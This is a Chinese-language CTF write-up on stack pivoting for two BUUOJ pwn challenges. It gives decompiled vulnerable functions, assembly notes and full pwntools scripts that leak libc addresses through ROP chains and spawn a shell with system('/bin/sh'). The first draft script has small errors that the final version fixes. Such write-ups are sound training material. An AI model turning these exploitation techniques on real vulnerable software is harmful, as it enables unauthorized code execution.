栈迁移利用方法分析

参考资料：https://hetian.blog.csdn.net/article/details/106561835

1）[Black Watch 入群题]PWN

1772303512990-db34e4d2-83c0-4f8c-b70e-0c19f829bd94.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14

ssize_t vul_function()
{
    size_t _Hello_good_Ctfer__nWhat_is_your_name?_; // eax
    size_t _What_do_you_want_to_say?_; // eax
    _BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

    _Hello_good_Ctfer__nWhat_is_your_name?_ = strlen(m1);// "Hello good Ctfer!\nWhat is your name?"
    write(1, m1, _Hello_good_Ctfer__nWhat_is_your_name?_);// "Hello good Ctfer!\nWhat is your name?"
    read(0, &s, 0x200u);
    _What_do_you_want_to_say?_ = strlen(m2);      // "What do you want to say?"
    write(1, m2, _What_do_you_want_to_say?_);     // "What do you want to say?"
    return read(0, buf, 0x20u);
}

这个是本题的主要函数，基本程序还是很清楚的，第一个 read 函数可以读取 0x200 个字节的内容，

&s 在 bss 段上，第二个 read 函数可以读取 0x20 个字节的内容到 buf 当中。在函数当中并没有找到后门函数。

那我们现在来总结一下我们需要解决的问题：

  1. &s 写在 bss 段无法触发栈溢出，buf 可以出发栈溢出但是可读取字节太少，导致可溢出字节太少。
  2. 没有找到后门函数，大概率需要利用延迟绑定，需要利用.got.plt 表寻找 libc

那我们目前就确定了基本方案，在 bss 段上写 rop 链，利用栈迁移从第二次 read 的栈溢出出发 rop 链。

1
payload1 = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

在第一次 read 以中传入 payload1 当做可用的 rop 链，之后需要利用第二次 read 构造栈迁移

在此之前，先复习一下几个汇编指令：

1
2
3
mov esp, ebp   ;      // 把栈指针esp指向ebp的位置（栈帧基址）
pop ebp        ;      // 把esp指向的内容弹出到ebp，esp自动+4
/*执行完leave之后,esp的栈地址变成了ebp+4的栈地址，ebp的栈地址变成了ebp栈地址中的数据*/
1
pop eip        ;      // 把esp指向的内容弹出到eip（程序执行地址），esp自动+4

利用 leave_ret 汇编指令我们可以构造以下 payload2，不过前题我们要知道偏移，运行到第二次 read 手测一下

1772306030621-4b4596ec-0d35-46a0-8d81-a8474547ddd7.png

28 - 4 = 0x18， 之后就可以构造 payload2 了 ->

1
2
3
4
payload2 = 'a'*0x18               // 填充到ebp的偏移
payload2 += p32(bss_addr-4)       // 覆盖ebp寄存器的值
payload2 += p32(leave_ret)        // 覆盖返回地址为leave;ret指令的地址
/*执行完leave之后,esp的栈地址变成了ebp+4的栈地址，也就是bss段地址*/
1772306591359-3436db2e-ad97-4ae5-8451-662fa19afa7a.png

那么第一段 exp 大概就构造好了：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch='i386', os='linux', log_level='debug')
p = remote('node5.buuoj.cn', 29721)
elf = ELF('./pwn43')
main_addr = 0x8048513
leave_ret = 0x8048511
bss_addr = 0x804A300
write_plt = elf.plt['write']
write_got = elf.got['write']

payload1 = p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)
p.recvuntil("name?")
p.send(payload1)

payload2 = b'a'*18 + p32(bss_addr-4) + p32(leave_ret)
p.recvuntil("say?")
p.send(payload2)
write_addr = u32(p.recv(4))
print(hex(write_addr))

相信剩下的 exp 就是基本的 ret2libc，应该不成问题，放一个总 exp 吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug')
libc = ELF('./libc-2.23.so')
p=remote("node5.buuoj.cn",29410)
elf=ELF("./pwn43")
write_plt=elf.plt["write"]
write_got=elf.got["write"]
main=0x08048513
bss_addr=0x0804A300
leave_ret=0x08048511
p.recvuntil(b"name?")
payload1=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.send(payload1)

p.recvuntil(b"say?")
payload2=b'A'*0x18+p32(bss_addr-4)+p32(leave_ret)
p.send(payload2)
write_addr=u32(p.recv(4))

print(hex(write_addr))

libc_base=write_addr-libc.sym["write"]
print(hex(libc_base))
system=libc_base+libc.sym["system"]
bin_sh=libc_base+0x15902b

p.recvuntil(b"name?")
payload3=p32(system)+p32(main)+p32(bin_sh)
p.send(payload3)

p.recvuntil(b"say?")
p.send(payload2)
p.interactive()

2）actf_2019_babystack(栈迁移)

1773837474893-c56a2bb2-5510-4a6e-afeb-b619e0e95215.png 1773837530880-3a5e7165-9302-40a1-b720-7857d13967ff.png

signal() 函数

在 C 语言（POSIX 标准）中，signal() 用来 设置一个信号的处理函数，函数原型是：

1
2
3
#include <signal.h>

void (*signal(int signum, void (*handler)(int)))(int);
  • signum：要捕捉的信号编号。
  • handler：指向一个函数的指针，当信号发生时调用该函数。
    • 也可以用 SIG_IGN（忽略信号）或 SIG_DFL（默认处理方式）。

返回值是 原来的信号处理函数指针。

  • signal(14, handler) 设置了一个自定义信号处理函数。
  • 信号 14 是 SIGALRM，用于定时器。
  • 信号发生时会执行 handler，而不是默认终止程序。

putchar(62)

相当于 putchar(‘>’);就是输出对应 ASCLL 码的字符

1
2
3
4
5
6
7
8
9
10
__int64 sub_400A1A()
{
  __int64 nbytes; // rax
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  fgets(s, 8, stdin);
  nbytes = atol(s);
  ::nbytes = nbytes
  return nbytes;
}
  1. 先确定 bytes 大小，这里我们确定选择最大值 0xE0

我们发现 0xE0 虽然可以溢出，不过最多也就是覆盖 rbp 和返回地址了，所以确定这是一道栈迁移的题目。

另外，我们注意到：bytes 是写在 .bss 段上的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('node5.buuoj.cn', 29607)
elf = ELF('./babystack')
main_addr= 0x4008f6
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x400709
pop_rdi = 0x400ad3
leave_ret = 0x400a18

io.recvuntil('>')
io.sendline(str(224))
io.recvuntil(b'0x')
s_addr = int(io.recvuntil('\n', drop = True), 16)

drop=True 表示 返回的字符串里不包含分隔符本身，也就是不包含 \n

  1. 栈迁移
1
2
3
4
5
6
7
payload = b'aaaaaaaa' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(0xd0, b'\x00')
payload += p64(s_addr) + p64(leave_ret) # 跳转到s栈上
io.sendafter('message?',payload)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("------>" + hex(puts_addr))
  1. 接收 puts 地址，进行 libc 的计算，找到 system 和 /bin/sh 的地址
1
2
3
4
libc = ELF('./libc-2.27.so')
libc_case = puts_addr - libc.sym['puts']
system_addr = libc_case + libc.sym['system']
binsh_addr = libc_case + libc.search(b'/bin/sh').__next__()
  1. 在栈上写入 system(‘/bin/sh’)再进行一次栈迁移，再次迁移回来就可以执行获取 shell
1
2
3
4
5
6
7
8
9
io.sendline(str(224))
io.recvuntil(b'0x')
s_addr = int(io.recvuntil('\n', drop = True), 16)

p = b'aaaaaaaa' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
p = p.ljust(0xd0, b'\x00')
p += p64(s_addr) + p64(leave_ret)
io.send(p)
io.interactive()
1773840591864-19ec3eb5-3e59-4828-b50f-5b32294b68b7.png

更新: 2026-03-18 21:50:02
原文: https://www.yuque.com/idcm/wnemg9/onc5zyi4mkxs4vih